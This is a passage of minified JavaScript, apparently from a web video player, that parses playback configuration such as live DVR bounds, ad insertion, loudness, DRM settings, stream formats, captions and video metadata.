null;zn.showContentThumbnail!==void 0&&(this.KB=!!zn.showContentThumbnail);aU.enabled_engage_types=zn.enabledEngageTypes;break}}}}var PP=this.playerResponse.playerConfig;if(PP){var ns=PP.manifestlessWindowedLiveConfig;if(ns){var NG=Number(ns.minDvrSequence),Z1=Number(ns.maxDvrSequence),Rs=Number(ns.minDvrMediaTimeMs),Pe=Number(ns.maxDvrMediaTimeMs),jK=Number(ns.startWalltimeMs);NG&&(this.Q9=NG);Rs&&(this.QU=Rs/1E3,this.B("html5_sabr_parse_live_metadata_playback_boundaries")&&$7(this)&&(this.U$=Rs/
1E3));Z1&&(this.ll=Z1);Pe&&(this.kP=Pe/1E3,this.B("html5_sabr_parse_live_metadata_playback_boundaries")&&$7(this)&&(this.jb=Pe/1E3));jK&&(this.rp=jK/1E3);(NG||Rs)&&(Z1||Pe)&&(this.allowLiveDvr=this.isLivePlayback=this.hQ=!0,this.qI=!1)}var aC=PP.daiConfig;if(aC){if(aC.enableDai){this.CC=!0;var Sr=aC.enableServerStitchedDai;Sr&&(this.enableServerStitchedDai=Sr);var J0=aC.enablePreroll;J0&&(this.enablePreroll=J0)}var BV;if(aC.daiType==="DAI_TYPE_SS_DISABLED"||((BV=aC.debugInfo)==null?0:BV.isDisabledUnpluggedChannel))this.sD=
!0;aC.daiType==="DAI_TYPE_CLIENT_STITCHED"&&(this.sZ=!0)}var E9=PP.audioConfig;if(E9){var DQ=E9.loudnessDb;DQ!=null&&(this.tI=DQ);var ZW3=E9.trackAbsoluteLoudnessLkfs;ZW3!=null&&(this.PX=ZW3);var j9V=E9.loudnessTargetLkfs;j9V!=null&&(this.loudnessTargetLkfs=j9V);E9.audioMuted&&(this.vD=!0);E9.muteOnStart&&(this.ZM=!0);var mO=E9.loudnessNormalizationConfig;if(mO){mO.applyStatefulNormalization&&(this.applyStatefulNormalization=!0);mO.preserveStatefulLoudnessTarget&&(this.preserveStatefulLoudnessTarget=
!0);var egC=mO.minimumLoudnessTargetLkfs;egC!=null&&(this.minimumLoudnessTargetLkfs=egC);var l0D=mO.maxStatefulTimeThresholdSec;l0D!=null&&(this.maxStatefulTimeThresholdSec=l0D)}this.B("web_player_audio_playback_from_audio_config")&&E9.playAudioOnly&&(this.WU=!0)}var jIJ=PP.playbackEndConfig;if(jIJ){var mw5=jIJ.endSeconds,dw4=jIJ.limitedPlaybackDurationInSeconds;this.mutedAutoplay&&(mw5&&(this.endSeconds=mw5),dw4&&(this.limitedPlaybackDurationInSeconds=dw4))}var TI=PP.fairPlayConfig;if(TI){var Mx3=
TI.certificate;Mx3&&(this.tQ=im(Mx3));var AWD=Number(TI.keyRotationPeriodMs);AWD>0&&(this.pX=AWD);var Rgm=Number(TI.keyPrefetchMarginMs);Rgm>0&&(this.nX=Rgm)}var O6=PP.playbackStartConfig;if(O6){this.pT=Number(O6.startSeconds);var PhJ=O6.liveUtcStartSeconds,ST5=!!this.liveUtcStartSeconds&&this.liveUtcStartSeconds>0;PhJ&&!ST5&&(this.liveUtcStartSeconds=Number(PhJ));var eSJ=O6.startPosition;if(eSJ){var cWJ=eSJ.utcTimeMillis;cWJ&&!ST5&&(this.liveUtcStartSeconds=Number(cWJ)*.001);var YTm=eSJ.streamTimeMillis;
YTm&&(this.dN=Number(YTm)*.001)}this.progressBarStartPosition=O6.progressBarStartPosition;this.progressBarEndPosition=O6.progressBarEndPosition}else{var lZf=PP.skippableSegmentsConfig;if(lZf){var Uwi=lZf.introSkipDurationMs;Uwi&&(this.vB=Number(Uwi)/1E3);var bWX=lZf.outroSkipDurationMs;bWX&&(this.yz=Number(bWX)/1E3)}}var mXi=PP.skippableIntroConfig;if(mXi){var rW3=Number(mXi.startMs),zgq=Number(mXi.endMs);isNaN(rW3)||isNaN(zgq)||(this.nU=rW3,this.mY=zgq)}var ktm=PP.streamSelectionConfig;ktm&&(this.RW=
Number(ktm.maxBitrate));var Fe3=PP.vrConfig;Fe3&&(this.uF=Fe3.partialSpherical=="1");var dz=PP.webDrmConfig;if(dz){dz.skipWidevine&&(this.X1=!0);var hg3=dz.widevineServiceCert;hg3&&(this.yS=im(hg3));dz.useCobaltWidevine&&(this.useCobaltWidevine=!0);dz.startWithNoQualityConstraint&&(this.kX=!0)}var OX=PP.mediaCommonConfig;if(OX){var oD=OX.dynamicReadaheadConfig;if(oD){this.maxReadAheadMediaTimeMs=oD.maxReadAheadMediaTimeMs||NaN;this.minReadAheadMediaTimeMs=oD.minReadAheadMediaTimeMs||NaN;this.readAheadGrowthRateMs=
oD.readAheadGrowthRateMs||NaN;var vhi,Vxi=OX==null?void 0:(vhi=OX.mediaUstreamerRequestConfig)==null?void 0:vhi.videoPlaybackUstreamerConfig;Vxi&&(this.rV=im(Vxi));var dXv=OX==null?void 0:OX.sabrContextUpdates;if(dXv&&dXv.length>0)for(var Gtf=g.S(dXv),M74=Gtf.next();!M74.done;M74=Gtf.next()){var eq=M74.value;if(eq.type&&eq.value){var ATE={type:eq.type,scope:eq.scope,value:im(eq.value)||void 0,sendByDefault:eq.sendByDefault};this.sabrContextUpdates.set(eq.type,ATE)}}}var Lem=OX.serverPlaybackStartConfig;
Lem&&(this.serverPlaybackStartConfig=Lem);OX.useServerDrivenAbr&&(this.lM=!0);var nhm=OX.requestPipeliningConfig;nhm&&(this.requestPipeliningConfig=nhm)}var a0H=PP.inlinePlaybackConfig;a0H&&(this.LM=!!a0H.showAudioControls);var ts=PP.embeddedPlayerConfig;if(ts){this.embeddedPlayerConfig=ts;var AGD=ts.embeddedPlayerMode;if(AGD){var ghX=this.Y();ghX.Hv=AGD;ghX.j=AGD==="EMBEDDED_PLAYER_MODE_PFL"}var BhD=ts.permissions;BhD&&(this.allowImaMonetization=!!BhD.allowImaMonetization)}var WeC=PP.ssapConfig;
WeC&&(this.uv=WeC.ssapPrerollEnabled||!1);var so=PP.webPlayerConfig;so&&(so.gatewayExperimentGroup&&(this.gatewayExperimentGroup=so.gatewayExperimentGroup),so.isProximaEligible&&(this.isProximaLatencyEligible=!0))}var ft=this.playerResponse.streamingData;if(ft){var RSV=ft.formats;if(RSV){for(var MJ=[],Dwm=g.S(RSV),PWC=Dwm.next();!PWC.done;PWC=Dwm.next()){var SbC=PWC.value;MJ.push(SbC.itag+"/"+SbC.width+"x"+SbC.height)}this.c5=MJ.join(",");MJ=[];for(var yWv=g.S(RSV),cGv=yWv.next();!cGv.done;cGv=yWv.next()){var A4=
cGv.value,Rj={itag:A4.itag,type:A4.mimeType,quality:A4.quality},NhC=A4.url;NhC&&(Rj.url=NhC);var uE=kW(A4),RnM=uE.Y7,PAb=uE.M9,SiF=uE.s;uE.Ps&&(Rj.url=RnM,Rj.sp=PAb,Rj.s=SiF);MJ.push(g.DH(Rj))}this.aH=MJ.join(",")}var Ybq=ft.hlsFormats;if(Ybq){var JWf=PP||null,$A={};if(JWf){var UXX=JWf.audioPairingConfig;if(UXX&&UXX.pairs)for(var ChC=g.S(UXX.pairs),bdJ=ChC.next();!bdJ.done;bdJ=ChC.next()){var Q9i=bdJ.value,rGq=Q9i.videoItag;$A[rGq]||($A[rGq]=[]);$A[rGq].push(Q9i.audioItag)}}for(var pFf={},OW4=g.S(Ybq),
zSq=OW4.next();!zSq.done;zSq=OW4.next()){var f0v=zSq.value;pFf[f0v.itag]=f0v.bitrate}for(var wFX=[],KeV=g.S(Ybq),k1f=KeV.next();!k1f.done;k1f=KeV.next()){var X9=k1f.value,b2={itag:X9.itag,type:X9.mimeType,url:X9.url,bitrate:X9.bitrate,width:X9.width,height:X9.height,fps:X9.fps},Hj=X9.audioTrack;if(Hj){var XF4=Hj.displayName;XF4&&(b2.name=XF4,b2.audio_track_id=Hj.id,Hj.audioIsDefault&&(b2.is_default="1"))}if(X9.drmFamilies){for(var xyV=[],TSH=g.S(X9.drmFamilies),F$3=TSH.next();!F$3.done;F$3=TSH.next())xyV.push(lQ[F$3.value]);
b2.drm_families=xyV.join(",")}var iE=$A[X9.itag];if(iE&&iE.length){b2.audio_itag=iE.join(",");var ozv=pFf[iE[0]];ozv&&(b2.bitrate+=ozv)}var tpi=bQf(X9);tpi&&(b2.eotf=tpi);X9.audioChannels&&(b2.audio_channels=X9.audioChannels);wFX.push(g.DH(b2))}this.hlsFormats=wFX.join(",")}var hSC=ft.licenseInfos;if(hSC&&hSC.length>0){for(var slq={},um4=g.S(hSC),vN4=um4.next();!vN4.done;vN4=um4.next()){var $y3=vN4.value,HhH=$y3.drmFamily,ihV=$y3.url;HhH&&ihV&&(slq[lQ[HhH]]=ihV)}this.wb=slq}var IAD=ft.drmParams;IAD&&
(this.drmParams=IAD);var Ezf=ft.dashManifestUrl;Ezf&&(this.Jq=g.NY(Ezf,{cpn:this.clientPlaybackNonce}));var qzD=ft.hlsManifestUrl;qzD&&(this.hlsvp=qzD);var Zh4=ft.probeUrl;Zh4&&(this.probeUrl=T$(g.NY(Zh4,{cpn:this.clientPlaybackNonce})));var jl4=ft.serverAbrStreamingUrl;jl4&&(this.e7=new g.ct(jl4,!0))}var ehf=this.playerResponse.trackingParams;ehf&&(this.Om=ehf);var QE=this.playerResponse.videoDetails;if(QE){var rl=x,V73=QE.videoId;V73&&(this.videoId=V73,rl.video_id||(rl.video_id=V73));var lA4=QE.channelId;
lA4&&(this.N.uid=lA4.substring(2));var G13=QE.title;G13&&(this.title=G13,rl.title||(rl.title=G13));var L$q=QE.lengthSeconds;L$q&&(this.lengthSeconds=Number(L$q),rl.length_seconds||(rl.length_seconds=L$q));var myv=QE.keywords;myv&&(this.keywords=A43(myv));var nNq=QE.channelId;nNq&&(this.dP=nNq,rl.ucid||(rl.ucid=nNq));var dyf=QE.viewCount;dyf&&(this.rawViewCount=Number(dyf));var aZ3=QE.author;aZ3&&(this.author=aZ3,rl.author||(rl.author=aZ3));var MpV=QE.shortDescription;MpV&&(this.shortDescription=MpV);
var AUq=QE.isCrawlable;AUq&&(this.isListed=AUq);var Rhv=QE.musicVideoType;Rhv&&(this.musicVideoType=Rhv);var gN5=QE.isLive;gN5!=null&&(this.isLivePlayback=gN5);if(gN5||QE.isUpcoming)this.isPremiere=!QE.isLiveContent;var PL5=QE.thumbnail;PL5&&(this.S=ME(PL5));var Szv=QE.isExternallyHostedPodcast;Szv&&(this.isExternallyHostedPodcast=Szv);var BEi=QE.viewerLivestreamJoinPosition;if(BEi==null?0:BEi.utcTimeMillis)this.VQ=xO(BEi.utcTimeMillis);var cUi=PP||null,W$J=x;QE.isLiveDefaultBroadcast&&(this.isLiveDefaultBroadcast=
!0);QE.isUpcoming&&(this.isUpcoming=!0);if(QE.isPostLiveDvr){this.qI=!0;var Yzf=QE.latencyClass;Yzf&&(this.latencyClass=iUC[Yzf]||"UNKNOWN");QE.isLowLatencyLiveStream&&(this.isLowLatencyLiveStream=!0)}else{var DXq=!1;this.SY?(this.allowLiveDvr=oQ()?!0:fy&&Ta<5?!1:!0,this.isLivePlayback=!0):QE.isLive?(W$J.livestream="1",this.allowLiveDvr=QE.isLiveDvrEnabled?oQ()?!0:fy&&Ta<5?!1:!0:!1,this.partnerId=27,DXq=!0):QE.isUpcoming&&(DXq=!0);if(QE.isLive||this.SY&&this.B("html5_parse_live_monitor_flags")){QE.isLowLatencyLiveStream&&
(this.isLowLatencyLiveStream=!0);var Uyi=QE.latencyClass;Uyi&&(this.latencyClass=iUC[Uyi]||"UNKNOWN");var bhC=QE.liveChunkReadahead;bhC&&(this.liveChunkReadahead=bhC);var fn=cUi&&cUi.livePlayerConfig;if(fn){fn.hasSubfragmentedFmp4&&(this.hasSubfragmentedFmp4=!0);fn.hasSubfragmentedWebm&&(this.P5=!0);fn.defraggedFromSubfragments&&(this.defraggedFromSubfragments=!0);var rU3=fn.liveExperimentalContentId;rU3&&(this.liveExperimentalContentId=Number(rU3));var zhf=fn.isLiveHeadPlayable;this.B("html5_live_head_playable")&&
zhf!=null&&(this.isLiveHeadPlayable=zhf)}}DXq&&(this.isLivePlayback=!0,W$J.adformat&&W$J.adformat.split("_")[1]!=="8"||this.Hv.push("heartbeat"),this.eH=!0)}var kkH=QE.isPrivate;kkH!==void 0&&(this.isPrivate=ox(this.isPrivate,kkH))}if(HX){var Fqv=QE||null,hhi=!1,wK=HX.errorScreen;hhi=wK&&(wK.playerLegacyDesktopYpcOfferRenderer||wK.playerLegacyDesktopYpcTrailerRenderer||wK.ypcTrailerRenderer)?!0:Fqv&&Fqv.isUpcoming?!0:["OK","LIVE_STREAM_OFFLINE","FULLSCREEN_ONLY"].includes(HX.status);if(!hhi){this.errorCode=
zPm(HX.errorCode)||"auth";var ID=wK&&wK.playerErrorMessageRenderer;if(ID){this.playerErrorMessageRenderer=ID;var vz3=ID.reason;vz3&&(this.errorReason=g.eb(vz3));var yGV=ID.subreason;yGV&&(this.p7=g.eb(yGV),this.Px=yGV)}else this.errorReason=HX.reason||null;var NE5=HX.status;if(NE5==="LOGIN_REQUIRED")this.errorDetail="1";else if(NE5==="CONTENT_CHECK_REQUIRED")this.errorDetail="2";else if(NE5==="AGE_CHECK_REQUIRED"){var VpV=HX.errorScreen,Gkf=VpV&&VpV.playerKavRenderer;this.errorDetail=Gkf&&Gkf.kavUrl?
"4":"3"}else this.errorDetail=HX.isBlockedInRestrictedMode?"5":"0"}}var LqV=this.playerResponse.interstitialPods;LqV&&yOX(this,LqV);this.mu&&this.eventId&&(this.mu=$D(this.mu,{ei:this.eventId}));var JG3=this.playerResponse.captions;if(JG3&&JG3.playerCaptionsTracklistRenderer)a:{var zd=JG3.playerCaptionsTracklistRenderer;this.captionTracks=[];if(zd.captionTracks)for(var nzi=g.S(zd.captionTracks),CWf=nzi.next();!CWf.done;CWf=nzi.next()){var k4=CWf.value,aAH=mJi(k4.baseUrl);if(!aAH)break a;var QI3={is_translateable:!!k4.isTranslatable,
languageCode:k4.languageCode,languageName:k4.name&&g.eb(k4.name),url:aAH,vss_id:k4.vssId,kind:k4.kind};QI3.name=k4.trackName;QI3.displayName=k4.name&&g.eb(k4.name);this.captionTracks.push(new g.jO(QI3))}this.jG=zd.audioTracks||[];this.D2=zd.defaultAudioTrackIndex||0;this.U6=[];if(zd.translationLanguages)for(var gzv=g.S(zd.translationLanguages),pxf=gzv.next();!pxf.done;pxf=gzv.next()){var Kn=pxf.value,lH={};lH.languageCode=Kn.languageCode;lH.languageName=g.eb(Kn.languageName);if(Kn.translationSourceTrackIndices){lH.translationSourceTrackIndices=
[];for(var BSC=g.S(Kn.translationSourceTrackIndices),OdC=BSC.next();!OdC.done;OdC=BSC.next())lH.translationSourceTrackIndices.push(OdC.value)}if(Kn.excludeAudioTrackIndices){lH.excludeAudioTrackIndices=[];for(var Wq3=g.S(Kn.excludeAudioTrackIndices),fZi=Wq3.next();!fZi.done;fZi=Wq3.next())lH.excludeAudioTrackIndices.push(fZi.value)}this.U6.push(lH)}this.dL=[];if(zd.defaultTranslationSourceTrackIndices)for(var Dyf=g.S(zd.defaultTranslationSourceTrackIndices),wxX=Dyf.next();!wxX.done;wxX=Dyf.next())this.dL.push(wxX.value);
this.Pl=!!zd.contribute&&!!zd.contribute.captionsMetadataRenderer}(this.clipConfig=this.playerResponse.clipConfig)&&this.clipConfig.startTimeMs!=null&&(this.pT=Number(this.clipConfig.startTimeMs)*.001);this.playerResponse&&this.playerResponse.playerConfig&&this.playerResponse.playerConfig.webPlayerConfig&&this.playerResponse.playerConfig.webPlayerConfig.webPlayerActionsPorting&&JOH(this,this.playerResponse.playerConfig.webPlayerConfig.webPlayerActionsPorting);var yUi;this.compositeLiveIngestionOffsetToken=
(yUi=this.playerResponse.playbackTracking)==null?void 0:yUi.compositeLiveIngestionOffsetToken;var NSv;this.compositeLiveStatusToken=(NSv=this.playerResponse.playbackTracking)==null?void 0:NSv.compositeLiveStatusToken}CB(this,x);x.queue_info&&(this.queueInfo=x.queue_info);var JUv=x.hlsdvr;JUv!=null&&(this.allowLiveDvr=Number(JUv)===1?oQ()?!0:fy&&Ta<5?!1:!0:!1);this.adQueryId=x.ad_query_id||null;this.zG||(this.zG=x.encoded_ad_safety_reason||null);this.Bj=x.agcid||null;this.a$=x.ad_id||null;this.SK=
x.ad_sys||null;this.Bb=x.encoded_ad_playback_context||null;this.vD=ox(this.vD,x.infringe||x.muted);this.PW=x.authkey;this.Pl9=x.authuser;this.mutedAutoplay=ox(this.mutedAutoplay,x&&x.playmuted);this.mutedAutoplayDurationMode=sY(this.mutedAutoplayDurationMode,x&&x.muted_autoplay_duration_mode);this.ZH=ox(this.ZH,x&&x.mutedautoplay);var Eo=x.length_seconds;Eo&&(this.lengthSeconds=typeof Eo==="string"?xO(Eo):Eo);if(this.isAd()||this.yw||!g.Ix(g.aQ(this.Pv)))this.endSeconds=sY(this.endSeconds,this.yz||
x.end||x.endSeconds);else{var cT9=g.aQ(this.Pv),qd=this.lengthSeconds;switch(cT9){case "EMBEDDED_PLAYER_LITE_MODE_FIXED_PLAYBACK_LIMIT":qd>30?this.limitedPlaybackDurationInSeconds=30:qd<30&&qd>10&&(this.limitedPlaybackDurationInSeconds=10);break;case "EMBEDDED_PLAYER_LITE_MODE_DYNAMIC_PLAYBACK_LIMIT":this.limitedPlaybackDurationInSeconds=qd*.2}}this.Om=uj(this.Om,x.itct);this.pI=ox(this.pI,x.noiba);this.zE=ox(this.zE,x.is_live_destination);this.isLivePlayback=ox(this.isLivePlayback,x.live_playback);
this.enableServerStitchedDai=this.enableServerStitchedDai&&this.B9();x.isUpcoming&&(this.isUpcoming=ox(this.isUpcoming,x.isUpcoming));this.qI=ox(this.qI,x.post_live_playback);this.hQ&&(this.qI=!1);this.isMdxPlayback=ox(this.isMdxPlayback,x.mdx);var ZO=x.mdx_control_mode;ZO&&(this.mdxControlMode=typeof ZO==="number"?ZO:xO(ZO));this.isInlinePlaybackNoAd=ox(this.isInlinePlaybackNoAd,x.is_inline_playback_no_ad);this.L2=sY(this.L2,x.reload_count);this.reloadReason=uj(this.reloadReason,x.reload_reason);
this.KB=ox(this.KB,x.show_content_thumbnail);this.u0=ox(this.u0,x.utpsa);this.cycToken=x.cyc||null;this.oA=x.tkn||null;var CLf=d0(x);Object.keys(CLf).length>0&&(this.S=CLf);this.jY=uj(this.jY,x.vvt);this.mdxEnvironment=uj(this.mdxEnvironment,x.mdx_environment);x.source_container_playlist_id&&(this.sourceContainerPlaylistId=x.source_container_playlist_id);x.serialized_mdx_metadata&&(this.serializedMdxMetadata=x.serialized_mdx_metadata);this.HW=x.osig;this.eventId||(this.eventId=x.eventid);this.osid||
(this.osid=x.osid);this.playlistId=uj(this.playlistId,x.list);x.index&&(this.playlistIndex=this.playlistIndex===void 0?sY(0,x.index):sY(this.playlistIndex,x.index));this.Av=x.pyv_view_beacon_url;this.WA=x.pyv_quartile25_beacon_url;this.CY=x.pyv_quartile50_beacon_url;this.lP=x.pyv_quartile75_beacon_url;this.D7=x.pyv_quartile100_beacon_url;var QlH=x.session_data;!this.bP&&QlH&&(this.bP=xD(QlH,"&").feature);this.isFling=sY(this.isFling?1:0,x.is_fling)===1;this.vnd=sY(this.vnd,x.vnd);this.forceAdsUrl=
uj(this.forceAdsUrl,x.force_ads_url);this.xz=uj(this.xz,x.ctrl);this.pU=uj(this.pU,x.ytr);this.w$=x.ytrcc;this.rO=x.ytrexp;this.v0=x.ytrext;this.Zk=uj(this.Zk,x.adformat);this.wf=uj(this.wf,x.attrib);this.slotPosition=sY(this.slotPosition,x.slot_pos);this.breakType=x.break_type;this.s$=ox(this.s$,x.ssrt);this.videoId=Hc(x)||this.videoId;this.D=uj(this.D,x.vss_credentials_token);this.Hh=uj(this.Hh,x.vss_credentials_token_type);this.WU=ox(this.WU,x.audio_only);this.Ee=ox(this.Ee,x.aac_high);this.Jw=
ox(this.Jw,x.prefer_low_quality_audio);this.HH=ox(this.HH,x.uncap_inline_quality);this.B("html5_enable_qoe_cat_list")?x.qoe_cat&&(this.Xe=this.Xe.concat(x.qoe_cat.split(","))):this.T2=uj(this.T2,x.qoe_cat);this.Qw=ox(this.Qw,x.download_media);var pwV=x.prefer_gapless;this.J=pwV!=null?ox(this.J,pwV):this.J?this.J:this.Pv.preferGapless&&this.Pv.supportsGaplessShorts();yxD(this.playerResponse)&&this.Hv.push("ad");var Oh5=x.adaptive_fmts;Oh5&&(this.adaptiveFormats=Oh5,this.kc("adpfmts",{},!0));var fA4=
x.allow_embed;fA4&&(this.allowEmbed=Number(fA4)===1);var ww3=x.backgroundable;ww3&&(this.backgroundable=Number(ww3)===1);var Kq5=x.autonav;Kq5&&(this.isAutonav=Number(Kq5)===1);var Xwm=x.autoplay;Xwm&&(this.VL=this.MK=Number(Xwm)===1,o9(this,"c"));var xtv=x.iv_load_policy;xtv&&(this.annotationsLoadPolicy=tt(this.annotationsLoadPolicy,xtv,gs));var TjV=x.cc_lang_pref;TjV&&(this.captionsLanguagePreference=uj(TjV,this.captionsLanguagePreference));var oVq=x.cc_load_policy;oVq&&(this.Vz=tt(this.Vz,oVq,
gs));var tyq;this.deviceCaptionsOn=(tyq=x.device_captions_on)!=null?tyq:void 0;var swf;this.aK=(swf=x.device_captions_lang_pref)!=null?swf:"";var uZi;this.OA=(uZi=x.viewer_selected_caption_langs)!=null?uZi:[];if(!this.B("html5_enable_ssap_entity_id")){var $tv=x.cached_load;$tv&&(this.zi=ox(this.zi,$tv))}if(x.dash==="0"||x.dash===0||x.dash===!1)this.lh=!0;var HR5=x.dashmpd;HR5&&(this.Jq=g.NY(HR5,{cpn:this.clientPlaybackNonce}));var iRX=x.delay;iRX&&(this.tM=xO(iRX));var K$J=this.yz||x.end;if(this.FD?
K$J!=null:K$J!=void 0)this.clipEnd=sY(this.clipEnd,K$J);var IpV=x.fmt_list;IpV&&(this.c5=IpV);x.heartbeat_preroll&&this.Hv.push("heartbeat");this.OC=-Math.floor(Math.random()*10);this.WV=-Math.floor(Math.random()*40);var EVi=x.is_listed;EVi&&(this.isListed=ox(this.isListed,EVi));var qE3=x.is_private;qE3&&(this.isPrivate=ox(this.isPrivate,qE3));var ZR3=x.is_dni;ZR3&&(this.E0=ox(this.E0,ZR3));var jwJ=x.dni_color;jwJ&&(this.O9=uj(this.O9,jwJ));var eXX=x.pipable;eXX&&(this.pipable=ox(this.pipable,eXX));
this.qH=(this.Wj=this.pipable&&this.Pv.eH)&&!this.Pv.showMiniplayerButton;var lpq=x.paid_content_overlay_duration_ms;lpq&&(this.paidContentOverlayDurationMs=xO(lpq));var mt3=x.paid_content_overlay_text;mt3&&(this.paidContentOverlayText=mt3);var dtC=x.url_encoded_fmt_stream_map;dtC&&(this.aH=dtC);var My3=x.hls_formats;My3&&(this.hlsFormats=My3);var A$f=x.hlsvp;A$f&&(this.hlsvp=A$f);var jn=x.live_start_walltime;jn&&(this.Uf=typeof jn==="number"?jn:xO(jn));var en=x.live_manifest_duration;en&&(this.EG=
typeof en==="number"?en:xO(en));var RX5=x.player_params;RX5&&(this.playerParams=RX5);var P4v=x.partnerid;P4v&&(this.partnerId=sY(this.partnerId,P4v));var SEH=x.probe_url;SEH&&(this.probeUrl=T$(g.NY(SEH,{cpn:this.clientPlaybackNonce})));var Xx4=x.pyv_billable_url;Xx4&&K95(Xx4)&&(this.FR=Xx4);var xgX=x.pyv_conv_url;xgX&&K95(xgX)&&(this.va=xgX);RfV(this,x);this.startSeconds>0?this.B("html5_log_start_seconds_inconsistency")&&this.startSeconds!==(this.pT||this.vB||x.start||x.startSeconds)&&this.kc("lss",
{css:this.startSeconds,pcss:this.pT,iss:this.vB,ps:x.start||void 0,pss:x.startSeconds||void 0}):this.Ym=this.startSeconds=sY(this.startSeconds,this.pT||this.vB||x.start||x.startSeconds);if(!(this.liveUtcStartSeconds&&this.liveUtcStartSeconds>0)){var c$4=x.live_utc_start;if(c$4!=null)this.liveUtcStartSeconds=Number(c$4);else{var Tgf=this.startSeconds;Tgf&&isFinite(Tgf)&&Tgf>1E9&&(this.liveUtcStartSeconds=this.startSeconds)}}if(!(this.liveUtcStartSeconds&&this.liveUtcStartSeconds>0)){var YEJ=x.utc_start_millis;
YEJ&&(this.liveUtcStartSeconds=Number(YEJ)*.001)}var Utv=x.stream_time_start_millis;Utv&&(this.dN=Number(Utv)*.001);var oO3=this.vB||x.start;(this.FD?oO3==null||Number(x.resume)===1:oO3==void 0||x.resume=="1")||this.isLivePlayback||(this.clipStart=sY(this.clipStart,oO3));var bRH=x.url_encoded_third_party_media;bRH&&(this.Hm=tg(bRH));var toX=x.ypc_offer_button_formatted_text;if(toX){var r$3=JSON.parse(toX);this.IA=r$3!=null?r$3:null;this.m8=toX}var zXD=x.ypc_offer_button_text;zXD&&(this.DF=zXD);var kpf=
x.ypc_offer_description;kpf&&(this.aq=kpf);var FpD=x.ypc_offer_headline;FpD&&(this.TN=FpD);var hXH=x.ypc_full_video_message;hXH&&(this.t8=hXH);var vVq=x.ypc_offer_id;vVq&&(this.IJ=vVq);var Vym=x.ypc_buy_url;Vym&&(this.YO=Vym);var Gpi=x.ypc_item_thumbnail;Gpi&&(this.Jj=Gpi);var LpJ=x.ypc_item_title;LpJ&&(this.mN=LpJ);var nV5=x.ypc_item_url;nV5&&(this.m_=nV5);var ap3=x.ypc_vid;ap3&&(this.Rc=ap3);x.ypc_overlay_timeout&&(this.M4=Number(x.ypc_overlay_timeout));var gVD=x.ypc_trailer_player_vars;gVD&&(this.xG=
o6(gVD));var Bjm=x.ypc_original_itct;Bjm&&(this.wS=Bjm);this.dP=uj(this.dP,x.ucid);x.baseUrl&&(this.N.baseUrl=x.baseUrl);x.uid&&(this.N.uid=x.uid);x.oeid&&(this.N.oeid=x.oeid);x.ieid&&(this.N.ieid=x.ieid);x.ppe&&(this.N.ppe=x.ppe);x.engaged&&(this.N.engaged=x.engaged);x.subscribed&&(this.N.subscribed=x.subscribed);this.N.focEnabled=ox(this.N.focEnabled,x.focEnabled);this.N.rmktEnabled=ox(this.N.rmktEnabled,x.rmktEnabled);this.Oz=x.storyboard_spec||null;this.NW=x.live_storyboard_spec||null;this.Pa=
x.iv_endscreen_url||null;this.eH=ox(this.eH,x.ypc_license_checker_module);this.vE=ox(this.vE,x.ypc_module);this.Xt=ox(this.Xt,x.ypc_clickwrap_module);this.vE&&this.Hv.push("ypc");this.Xt&&this.Hv.push("ypc_clickwrap");this.fp={video_id:x.video_id,eventid:x.eventid,cbrand:x.cbrand,cbr:x.cbr,cbrver:x.cbrver,c:x.c,cver:x.cver,ctheme:x.ctheme,cplayer:x.cplayer,cmodel:x.cmodel,cnetwork:x.cnetwork,cos:x.cos,cosver:x.cosver,cplatform:x.cplatform,user_age:x.user_age,user_display_image:x.user_display_image,
user_display_name:x.user_display_name,user_gender:x.user_gender,csi_page_type:x.csi_page_type,csi_service_name:x.csi_service_name,enablecsi:x.enablecsi,enabled_engage_types:x.enabled_engage_types};lh5(this,x);var Wp3=x.cotn;Wp3&&(this.cotn=Wp3);if(VA3(this))IU(this)&&(this.isLivePlayback&&this.Jq&&(this.zc=!0),this.tQ&&(this.SH=!0));else if(GOi(this))this.zc=!0;else{var DtV,y$J,Nj4=((DtV=this.playerResponse)==null?void 0:(y$J=DtV.streamingData)==null?void 0:y$J.adaptiveFormats)||[];if(Nj4.length>
0)var Pb=vYJ(this,Nj4);else{var J$m=this.adaptiveFormats;if(J$m&&!IU(this)){ED(this,"html5_enable_cobalt_experimental_vp9_decoder")&&(zW=!0);var Xp=db(J$m),sLi=this.wb,C4H=this.lengthSeconds,Yi3=this.isLivePlayback,SA=this.qI,xQ=this.Pv,Ux3=DG3(Xp);if(Yi3||SA){var Qwf=xQ==null?void 0:xQ.experiments,nk=new jP("",Qwf,!0);nk.B9=!0;nk.isManifestless=!0;nk.Z=!SA;nk.isLive=!SA;nk.qI=SA;for(var p6v=g.S(Xp),unm=p6v.next();!unm.done;unm=p6v.next()){var T_=unm.value,ORm=dV(T_,sLi),mr=MK(T_.url,T_.sp,T_.s),
fpf=mr.get("id");fpf&&fpf.includes("%7E")&&(nk.S=!0);var w64=void 0,brb=(w64=Qwf)==null?void 0:w64.aU("html5_max_known_end_time_rebase"),rT3=Number(T_.target_duration_sec)||5,znC=Number(T_.max_dvr_duration_sec)||14400,Kpf=Number(mr.get("mindsq")||mr.get("min_sq")||"0"),X6v=Number(mr.get("maxdsq")||mr.get("max_sq")||"0")||Infinity;nk.Q9=nk.Q9||Kpf;nk.ll=nk.ll||X6v;var k3y=!t0(ORm.mimeType);mr&&E4(nk,new wD(mr,ORm,{XR:rT3,Ns:k3y,jm:znC,Q9:Kpf,ll:X6v,N8:300,qI:SA,Su:brb}))}var xIX=nk}else{if(Ux3==="FORMAT_STREAM_TYPE_OTF"){var lE=
C4H;lE=lE===void 0?0:lE;var oO=new jP("",xQ==null?void 0:xQ.experiments,!1);oO.duration=lE||0;for(var TC5=g.S(Xp),$gV=TC5.next();!$gV.done;$gV=TC5.next()){var td=$gV.value,HI3=dV(td,sLi,oO.duration),iI4=MK(td.url,td.sp,td.s);if(iI4)if(HI3.streamType==="FORMAT_STREAM_TYPE_OTF")E4(oO,new KX(iI4,HI3,"sq/0"));else{var F4V=kd(td.init),hn0=kd(td.index);E4(oO,new HT(iI4,HI3,F4V,hn0))}}oO.isOtf=!0;var oo3=oO}else{var mN=C4H;mN=mN===void 0?0:mN;var dB=new jP("",xQ==null?void 0:xQ.experiments,!1);dB.duration=
